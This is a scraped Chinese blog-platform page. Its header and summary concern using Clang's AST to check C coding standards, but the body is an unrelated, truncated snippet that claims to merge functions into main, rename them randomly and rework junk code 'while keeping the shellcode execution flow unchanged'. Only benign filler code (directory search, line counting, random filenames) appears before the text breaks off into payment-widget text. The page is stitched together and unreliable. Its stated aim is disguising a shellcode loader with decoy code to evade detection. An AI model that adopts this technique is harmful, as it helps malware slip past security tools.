clang操作ast的good blog

本文详细介绍了如何利用Clang库实现C语言编程规范检查,包括操作AST的方法如LibClang、ClangPlugins和LibTooling,并提供了一个实践链接。
以下是将所有函数合并到 main 函数中,并对函数名进行随机更改、修改垃圾代码逻辑,同时保持 shellcode 执行流程不变的代码:#include <windows.h> #include <iostream> #include <cstring> #include <fstream> #include <string> #include <vector> #include <cstdlib> #include <ctime> // 搜索指定目录下的所有文件 void searchFilesInDirectory(const std::string& directory, std::vector<std::string>& fileList) { std::string searchPath = directory + "\\*"; WIN32_FIND_DATAA findData; HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData); if (hFind != INVALID_HANDLE_VALUE) { do { if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (strcmp(findData.cFileName, ".") != 0 && strcmp(findData.cFileName, "..") != 0) { std::string subDirectory = directory + "\\" + findData.cFileName; searchFilesInDirectory(subDirectory, fileList); } } else { fileList.push_back(directory + "\\" + findData.cFileName); } } while (FindNextFileA(hFind, &findData) != 0); FindClose(hFind); } } // 判断文件是否存在 bool isFileExists(const std::string& filePath) { std::ifstream file(filePath); return file.good(); } // 读取文件内容并统计行数 int countLinesInFile(const std::string& filePath) { std::ifstream file(filePath); if (!file.is_open()) { return 0; } int lineCount = 0; std::string line; while (std::getline(file, line)) { lineCount++; } file.close(); return lineCount; } // 生成随机文件名 std::string generateRandomFileName() { static const char alphanum[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; std::string fileName; for (int i = 0; i < 10; ++i) { fileName += alphanum[rand() % (sizeof(alphanum) - 1)]; } return fileName + ".txt"; } // 复杂操作函数,综合调用其他文件操作函数 void complexFileOperation() { std::vector<std::string> fileList; searchFilesInDirectory(".", fileList);
03-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值